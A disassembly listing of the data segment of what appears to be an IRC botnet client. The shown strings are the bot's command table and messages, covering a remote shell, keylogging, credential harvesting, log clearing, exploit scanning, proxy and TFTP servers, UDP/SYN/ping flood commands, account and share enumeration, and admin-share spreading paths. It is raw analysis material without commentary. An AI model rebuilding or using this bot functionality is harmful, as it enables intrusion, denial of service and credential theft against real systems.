aEnz_who db 'enz.who',0 ; DATA XREF: sub_40CD3A+15C9o aCmd db '[CMD]',0 ; DATA XREF: sub_40CD3A+15BEo align 10h aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_40CD3A+15B9o align 10h aBox_ocmd_off db 'box.ocmd.off',0 ; DATA XREF: sub_40CD3A+15A0o align 10h aBox_ocmd db 'box.ocmd',0 ; DATA XREF: sub_40CD3A+158Bo align 4 aBox_opencmd db 'box.opencmd',0 ; DATA XREF: sub_40CD3A+1576o aBox_dll db 'box.dll',0 ; DATA XREF: sub_40CD3A+1561o aBox_testdlls db 'box.testdlls',0 ; DATA XREF: sub_40CD3A+154Co align 10h aBox_drv db 'box.drv',0 ; DATA XREF: sub_40CD3A+1537o aBox_driveinfo db 'box.driveinfo',0 ; DATA XREF: sub_40CD3A+1522o align 4 aBox_up db 'box.up',0 ; DATA XREF: sub_40CD3A+150Do align 10h aBox_uptime db 'box.uptime',0 ; DATA XREF: sub_40CD3A+14F8o align 4 aBox_key db 'box.key',0 ; DATA XREF: sub_40CD3A+14E3o aBox_harvest db 'box.harvest',0 ; DATA XREF: sub_40CD3A+14CEo aBox_ps db 'box.ps',0 ; DATA XREF: sub_40CD3A+14B9o align 4 aBox_procs db 'box.procs',0 ; DATA XREF: sub_40CD3A+14A4o align 4 aEnz_b3g db 'enz.b3g',0 ; DATA XREF: sub_40CD3A+148Fo aEnz_beg0ne db 'enz.beg0ne',0 ; DATA XREF: sub_40CD3A+147Ao align 4 aBox_si db 'box.si',0 ; DATA XREF: sub_40CD3A+1465o align 10h aBox_sysinfo db 'box.sysinfo',0 ; DATA XREF: sub_40CD3A+1450o aBox_ni db 'box.ni',0 ; DATA XREF: sub_40CD3A+143Bo align 4 aBox_netinfo db 'box.netinfo',0 ; DATA XREF: sub_40CD3A+1426o aUtil_clg db 'util.clg',0 ; DATA XREF: sub_40CD3A+1411o align 4 aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: sub_40CD3A+13FCo align 4 aEnz_lg db 'enz.lg',0 ; DATA XREF: sub_40CD3A+13E7o align 4 aEnz_log db 'enz.log',0 ; DATA XREF: sub_40CD3A+13D2o aEnz_al db 'enz.al',0 ; DATA XREF: sub_40CD3A+13BDo align 4 aEnz_aliases db 'enz.aliases',0 ; DATA XREF: sub_40CD3A+13A8o aThreads_l db 'threads.l',0 ; DATA XREF: sub_40CD3A+1393o align 4 aThreads_list db 'threads.list',0 ; DATA XREF: sub_40CD3A+137Eo align 4 dword_435FCC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+134Ao dd 2029206Ch, 2BBBB02h aFailedToReboot db ' Failed to reboot system.',0 align 4 dword_436004 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+1343o dd 2029206Ch, 2BBBB02h aRebootingSyste db ' Rebooting system.',0 aBox_rebewt db 'box.rebewt',0 ; DATA XREF: sub_40CD3A+132Co align 10h aEnz_i db 'enz.i',0 ; DATA XREF: sub_40CD3A+1317o align 4 aEnz_id db 'enz.id',0 ; DATA XREF: sub_40CD3A+1302o align 10h aEnz_s db 'enz.s',0 ; DATA XREF: sub_40CD3A+12EDo align 4 aEnz_status db 'enz.status',0 ; DATA XREF: sub_40CD3A+12D8o align 4 aEnz_t3rm1 db 'enz.t3rm1',0 ; DATA XREF: sub_40CD3A+12C3o align 10h aEnz_t3rm1nate db 'enz.t3rm1nate',0 ; DATA XREF: sub_40CD3A+12AEo align 10h aEnz_et3 db 'enz.et3',0 ; DATA XREF: sub_40CD3A+1299o aEnz_endt3rm db 'enz.endt3rm',0 ; DATA XREF: sub_40CD3A+1284o aEnz_rh4 db 'enz.rh4',0 ; DATA XREF: sub_40CD3A+126Fo aEnz_reh4sh db 'enz.reh4sh',0 ; DATA XREF: sub_40CD3A+125Ao align 4 aVuln_st db 'vuln.st',0 ; DATA XREF: sub_40CD3A+1245o aVuln_stats db 'vuln.stats',0 ; DATA XREF: sub_40CD3A+1230o align 4 aExploitation db 'Exploitation',0 ; DATA XREF: sub_40CD3A+1225o align 4 aScan db 'Scan',0 ; DATA XREF: sub_40CD3A+1220o align 4 aVuln_stop db 'vuln.stop',0 ; DATA XREF: sub_40CD3A+1207o align 10h dword_4360E0 dd 65027302h, 1F727563h, 2E2E1F65h, 0aSecure_0 db 'Secure',0 ; DATA XREF: sub_40CD3A+11F7o align 4 aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: sub_40CD3A+11DEo align 4 dword_436108 dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0aClone db 'Clone',0 ; DATA XREF: sub_40CD3A+11CEo align 10h aClone_off db 'clone.off',0 ; DATA XREF: sub_40CD3A+11B5o align 4 aBox_ps_off db 'box.ps.off',0 ; DATA XREF: sub_40CD3A+11A0o align 4 aBox_procs_off db 'box.procs.off',0 ; DATA XREF: sub_40CD3A+118Bo align 4 aBox_ff_off db 'box.ff.off',0 ; DATA XREF: sub_40CD3A+1176o align 4 aBox_findfile_o db 'box.findfile.off',0 ; DATA XREF: sub_40CD3A+1161o align 4 dword_436168 dd 66027402h, 641F7074h, 2E2E1FhaServer_tftp_of db 'server.tftp.off',0 ; DATA XREF: sub_40CD3A+1138o dword_436184 dd 69027002h, 1F671F6Eh, 2E2Ehdword_436190 dd 676E6950h, 6F6C6620h, 646Fhdword_43619C dd 736F6464h, 6E69702Eh, 666F2E67h, 66hdword_4361AC dd 64027502h, 2E1F701Fh, 2Ehdword_4361B8 dd 20504455h, 6F6F6C66h, 64hdword_4361C4 dd 736F6464h, 7064752Eh, 66666F2Eh, 0dword_4361D4 dd 79027302h, 2E1F6E1Fh, 2Ehdword_4361E0 dd 206E7953h, 6F6F6C66h, 64hdword_4361EC dd 736F6464h, 6E79732Eh, 66666F2Eh, 0dword_4361FC dd 64026402h, 1F731F6Fh, 2E2Ehdword_436208 dd 536F4444h, 6F6C6620h, 646Fhdword_436214 dd 736F6464h, 66666F2Eh, 0dword_436220 dd 65027202h, 65726964h, 1F741F63h, 2E2Ehdword_436230 dd 20504354h, 69646572h, 74636572h, 0aServer_redirec db 'server.redirect.off',0 ; DATA XREF: sub_40CD3A+106Bo dword_436254 dd 6F026C02h, 2E1F671Fh, 2Ehdword_436260 dd 20676F4Ch, 7473696Ch, 0dword_43626C dd 2E676F6Ch, 66666Fhdword_436274 dd 74026802h, 641F7074h, 2E2E1Fhdword_436280 dd 76726573h, 772E7265h, 6F2E6265h, 6666hdword_436290 dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2EhaServer_rlogin_ db 'server.rlogin.off',0 ; DATA XREF: sub_40CD3A+FF0o align 4 dword_4362B4 dd 6F027302h, 1F736B63h, 2E2E1F34h, 0aServer db 'Server',0 ; DATA XREF: sub_40CD3A+FE0o ; sub_40CD3A+1009o ... align 4 aServer_socks_0 db 'server.socks4.off',0 ; DATA XREF: sub_40CD3A+FC7o align 10h aServer_s4_on db 'server.s4.on',0 ; DATA XREF: sub_40CD3A+FB2o align 10h aServer_socks4_ db 'server.socks4.on',0 ; DATA XREF: sub_40CD3A+F9Do align 4 aLd_off db 'ld.off',0 ; DATA XREF: sub_40CD3A+F88o align 4 aLockdown_off db 'lockdown.off',0 ; DATA XREF: sub_40CD3A+F73o align 4 aLd_on db 'ld.on',0 ; DATA XREF: sub_40CD3A+F5Eo align 4 aLockdown_on db 'lockdown.on',0 ; DATA XREF: sub_40CD3A+F49o aEnz_ver db 'enz.ver',0 ; DATA XREF: sub_40CD3A+F34o aEnz_version db 'enz.version',0 ; DATA XREF: sub_40CD3A+F1Fo aEnz_lo db 'enz.lo',0 ; DATA XREF: sub_40CD3A+F0Ao align 4 aEnz_logout db 'enz.logout',0 ; DATA XREF: sub_40CD3A+EF5o align 4 aEnz_d db 'enz.d',0 ; DATA XREF: sub_40CD3A+EE0o align 10h aEnz_endsess db 'enz.endsess',0 ; DATA XREF: sub_40CD3A+ECBo aEnz_rn db 'enz.rn',0 ; DATA XREF: sub_40CD3A+EB6o align 4 aEnz_rndnick db 'enz.rndnick',0 ; DATA XREF: sub_40CD3A+E9Eo a63 db '63',0 ; DATA XREF: sub_40CD3A+D7Eo align 4 asc_436384: ; DATA XREF: sub_40CD3A+D56o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_40CD3A+D1Co align 10h aServer_2 db '$server',0 ; DATA XREF: sub_40CD3A+D11o aRndnick db '$rndnick',0 ; DATA XREF: sub_40CD3A+D00o align 4 aChan db '$chan',0 ; DATA XREF: sub_40CD3A+CE4o align 4 aUser_2 db '$user',0 ; DATA XREF: sub_40CD3A+CD3o align 4 aMe_0 db '$me',0 ; DATA XREF: sub_40CD3A+CC1o aD_0 db '$%d',0 ; DATA XREF: sub_40CD3A+C4Do aD_1 db '$%d-',0 ; DATA XREF: sub_40CD3A+BA0o align 4 aHi_0 db 'hi',0 ; DATA XREF: sub_40CD3A+AC2o align 4 aNewshit db 'newshit',0 ; DATA XREF: sub_40CD3A+AAAo dword_4363D0 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40CD3A+A87o dd 2029206Ch, 2BBBB02h aChatFailedByUn db ' Chat failed by unauthorized user: %s.',0 align 8 dword_436418 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40CD3A+A76o dd 2029206Ch, 2BBBB02h aChatAlreadyAct db ' Chat already active with user: %s.',0 align 10h dword_436460 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40CD3A+A50o dd 2029206Ch, 2BBBB02h aFailedToSta_27 db ' Failed to start chat thread, error: <%d>.',0 dword_4364A8 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40CD3A+9F7o dd 2029206Ch, 2BBBB02h aChatFromUserS_ db ' Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_40CD3A+960o align 8 dword_4364E8 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40CD3A+943o dd 2029206Ch, 2BBBB02h aReceiveFileSFa db ' Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 dword_43653C dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_40CD3A+913o dd 0A0Dh dword_436554 dd 4E495001h, 47haSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: sub_40CD3A+8A4o align 4 dword_436578 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_40CD3A+88Ao dd 0D017325h, 0Ah dword_436594 dd 52455601h, 4E4F4953h, 1dword_4365A0 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40CD3A+74Do dd 2029206Ch, 2BBBB02h aReceiveFileSFr db ' Receive file: ',27h,'%s',27h,' from user: %s.',0 aSend_0 db 'SEND',0 ; DATA XREF: sub_40CD3A+6AAo align 4 dword_4365E8 dd 43434401h, 0 dword_4365F0 dd 323333h ; sub_40CD3A+AE4o ... aNotice db 'NOTICE',0 ; DATA XREF: sub_40CD3A+5EDo ; sub_412BD1+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40CD3A+5E1o ; sub_412BD1+16o dword_436604 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+590o dd 2029206Ch, 2BBBB02h aUserSLoggedOut db ' User: %s logged out.',0 align 4 dword_436638 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+570o dd 2029206Ch, 2BBBB02h aJoinedChanne_0 db ' Joined channel: %s.',0 align 4 a353 db '353',0 ; DATA XREF: sub_40CD3A+539o aPart db 'PART',0 ; DATA XREF: sub_40CD3A+4EBo ; sub_40CD3A+5ADo align 4 aSS_1 db ':%s%s',0 ; DATA XREF: sub_40CD3A+4C3o align 10h aNick db 'NICK',0 ; DATA XREF: sub_40CD3A+3AFo align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+352o ; sub_40CD3A+5D1o dword_436698 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+339o ; sub_40CD3A+5A05o ... dd 2029206Ch, 2BBBB02h aUserSLoggedO_0 db ' User %s logged out.',0 align 4 aKick db 'KICK',0 ; DATA XREF: sub_40CD3A+2D6o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+27Fo ; sub_40CD3A+4A84o ... align 10h a433 db '433',0 ; DATA XREF: sub_40CD3A+257o a302 db '302',0 ; DATA XREF: sub_40CD3A+21Co aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+1D6o ; sub_40CD3A+39Co ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+1B5o align 4 aPing db 'PING',0 ; DATA XREF: sub_40CD3A+19Bo align 4 asc_43670C db ' :',0 ; DATA XREF: sub_40CD3A+86o ; sub_40CD3A:loc_40D876o align 10h dword_436710 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_43675C dd 3000005h, 10h, 18h, 1, 3 dup(0); --------------------------------------------------------------------------- loc_436778: ; DATA XREF: sub_412A1D+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_43678C dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_412A1D+13Fo dword_4367A0 dd 25207325h, 253A2073h, 0A0D73h, 0off_4367B0 dd offset aAdd ; DATA XREF: sub_412C6C+6Dr ; sub_413053+50r ... ; "Add" off_4367B4 dd offset aAdded ; DATA XREF: sub_412C6C+2Dr ; sub_413053+82r ... ; "Added" dword_4367B8 dd 0 dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_0 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 436824h, 43681Ch, 2, 436810h, 436804h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: seg001:004367E4o aStop_0 db 'Stop',0 ; DATA XREF: seg001:004367E0o align 4 aStarted db 'Started',0 ; DATA XREF: seg001:004367D8o aStart_0 db 'Start',0 ; DATA XREF: seg001:004367D4o align 4 aListed db 'Listed',0 ; DATA XREF: seg001:004367CCo align 4 aList_0 db 'List',0 ; DATA XREF: seg001:004367C8o align 4 aDeleted db 'Deleted',0 ; DATA XREF: seg001:004367C0o aDelete_0 db 'Delete',0 ; DATA XREF: seg001:004367BCo align 4 aAdded db 'Added',0 ; DATA XREF: seg001:off_4367B4o align 4 aAdd db 'Add',0 ; DATA XREF: seg001:off_4367B0o dword_436878 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_412C6C+74o dd 2029206Ch, 2BBBB02h aSNoServiceSpec db ' %s: No service specified.',0 dword_4368B0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_412C6C+55o dd 2029206Ch, 2BBBB02h aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0 align 4 dword_4368EC dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_412C6C+38o dd 2029206Ch, 2BBBB02h aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_412D95+12Co align 10h aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_412D95:loc_412EADo align 10h aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_412D95:loc_412EA6o align 8 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_412D95:loc_412E9Fo db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_412D95:loc_412E98o align 10h aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_412D95:loc_412E91o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_412D95:loc_412E8Ao align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_412D95:loc_412E83o align 8 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_412D95:loc_412E7Co align 10h aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_412D95:loc_412E75o db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_412D95:loc_412E6Eo align 10h aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_412D95:loc_412E43o align 10h aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_412D95:loc_412E3Co db ' the service.',0 align 10h aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_412D95:loc_412E35o db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_412D95:loc_412E2Eo align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_412D95+8Fo align 8 aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_412D95:loc_412E03o db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_412D95:loc_412DF9o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_412D95:loc_412DEFo aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_412D95:loc_412DE5o align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_412D95:loc_412DDBo align 10h aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_412D95+3Co align 4 aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_412F13+EEo aStopped db ' Stopped',0 ; DATA XREF: sub_412F13:loc_412FE2o aStarting db ' Starting',0 ; DATA XREF: sub_412F13:loc_412FDBo aStoping db ' Stoping',0 ; DATA XREF: sub_412F13:loc_412FD4o aRunning_0 db ' Running',0 ; DATA XREF: sub_412F13:loc_412FCDo aContinuing db ' Continuing',0 ; DATA XREF: sub_412F13:loc_412FC6o aPausing db ' Pausing',0 ; DATA XREF: sub_412F13:loc_412FBFo aPaused_0 db ' Paused',0 ; DATA XREF: sub_412F13:loc_412FB8o aUnknown_1 db ' Unknown',0 ; DATA XREF: sub_412F13+9Eo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_412F13+25o align 4 dword_436E64 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_413053+ABo dd 2029206Ch, 2BBBB02h aSNoShareSpecif db ' %s: No share specified.',0 align 4 dword_436E9C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_413053+89o dd 2029206Ch, 2BBBB02h aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0 align 4 dword_436ECC dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_413053+57o dd 2029206Ch, 2BBBB02h aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_413248+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_413248+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_413248+B5o dword_436F2C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_413248+76o dd 2029206Ch, 2BBBB02h aShareListError db ' Share list error: %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_413248+26o align 10h dword_436FA0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_413369+B6o dd 2029206Ch, 2BBBB02h aSNoUsernameSpe db ' %s: No username specified.',0 align 10h dword_436FE0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_413369+94o dd 2029206Ch, 2BBBB02h aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0 dword_437020 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_413369+6Do dd 2029206Ch, 2BBBB02h aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0 align 4 dword_437054 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_4134AF+394o dd 2029206Ch, 2BBBB02h aUserInfoErrorL db ' User info error: <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_4134AF+36Ao align 10h aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_4134AF+33Fo align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_4134AF+317o aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_4134AF+2ECo align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_4134AF+2C4o align 10h aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_4134AF+299o align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_4134AF+271o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_4134AF+246o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_4134AF+21Eo align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_4134AF+1F3o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_4134AF+1CBo align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_4134AF+1A0o align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_4134AF+178o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_4134AF+14Do align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_4134AF+125o aGuest db 'Guest',0 ; DATA XREF: sub_4134AF:loc_4135C8o align 4 aUser_1 db 'User',0 ; DATA XREF: sub_4134AF:loc_4135C1o align 10h aCommentS db 'Comment: %S',0 ; DATA XREF: sub_4134AF+D4o aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_4134AF+ACo align 10h aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_4134AF+81o align 10h aAccountS db 'Account: %S',0 ; DATA XREF: sub_4134AF+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_41387D+145o align 4 dword_437214 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_41387D:loc_41396Ao dd 2029206Ch, 2BBBB02h aAnAccessViolat db ' An access violation has occured.',0 align 4 aS_5 db ' %S',0 ; DATA XREF: sub_41387D+BAo align 4 dword_43725C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_41387D+7Ao dd 2029206Ch, 2BBBB02h aUserListErrorS db ' User list error: %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_41387D+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_4139F3:loc_413B10o align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_4139F3:loc_413B09o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_4139F3:loc_413B02o align 10h aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_4139F3:loc_413AFBo align 10h aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_4139F3:loc_413AF4o align 10h aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_4139F3:loc_413AD7o db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_4139F3:loc_413AD0o align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_4139F3:loc_413AC9o align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_4139F3+CFo db ' the domain.',0 align 10h aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_4139F3:loc_413A9Eo aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_4139F3:loc_413A97o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_4139F3:loc_413A90o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4139F3:loc_413A86o align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_4139F3+89o align 10h aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_4139F3:loc_413A60o align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_4139F3:loc_413A56o align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_4139F3:loc_413A4Co align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_4139F3:loc_413A42o align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_4139F3:loc_413A38o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_4139F3+3Bo align 10h dword_437580 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_413B27+ABo dd 2029206Ch, 2BBBB02h aSServerSMessag db ' %s <Server: %S> <Message: %S>',0 dword_4375BC dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_413B27+81o dd 2029206Ch, 2BBBB02h aMessageSentSuc db ' Message sent successfully.',0 align 4 aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_413C50+119o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_413C50+4Eo ; sub_413C50+99o align 4 dword_437618 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_413DFD:loc_413E8Ao dd 1F641F6Dh, 2029206Ch, 2BBBB02h aProcessListFai db ' Process list failed.',0 align 10h dword_437650 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_413DFD+86o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aProcessListCom db ' Process list completed.',0 align 4 dword_43768C dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_413DFD+19o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aListingProcess db ' Listing processes:',0 align 8 dword_4376C8 dd 736E6F63h dd 74h, 0 dword_4376D4 dd 1 off_4376D8 dd offset sub_413F42 ; DATA XREF: sub_414278+4Ar aLetter db 'letter',0 align 8 dd 2, 413FA0h, 706D6F63h, 2 dup(0) dd 3, 413FEDh, 6E756F63h, 797274h, 0 dd 4, 41405Ch, 736Fh, 2 dup(0) dd 5, 4140D1h dword_43772C dd 69257325h, 0 ; seg001:0041403Do ... dword_437734 dd 4350h dword_437738 dd 7C7325h dword_43773C dd 5D73255Bh, 7Chdword_437744 dd 334B32h dword_437748 dd 5D64255Bh, 7325hdword_437750 dd 5D4D5Bh ; sub_4141DB+51o unk_437754 db 2 ; DATA XREF: sub_4142E2+92o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOp_0 db ' IP: %s Port: %d is open.',0 unk_437790 db 2 ; DATA XREF: sub_4143AF+41o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0 align 10h off_4377D0 dd offset dword_437808 ; DATA XREF: sub_414500:loc_4146B5r ; sub_414500+1C3r ... dword_4377D4 dd 0 dd offset dword_437800 align 10h dd offset dword_4377FC dd offset dword_4377F8 dd offset dword_4377F4 dd offset dword_4377F0 dword_4377F0 dd 5C3A44h dword_4377F4 dd 2444h dword_4377F8 dd 5C3A43h dword_4377FC dd 2443h dword_437800 dd 494D4441h, 244Ehdword_437808 dd 24435049h, 0 unk_437810 db 2 ; DATA XREF: sub_414500+2E7o ; sub_414826+2DDo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 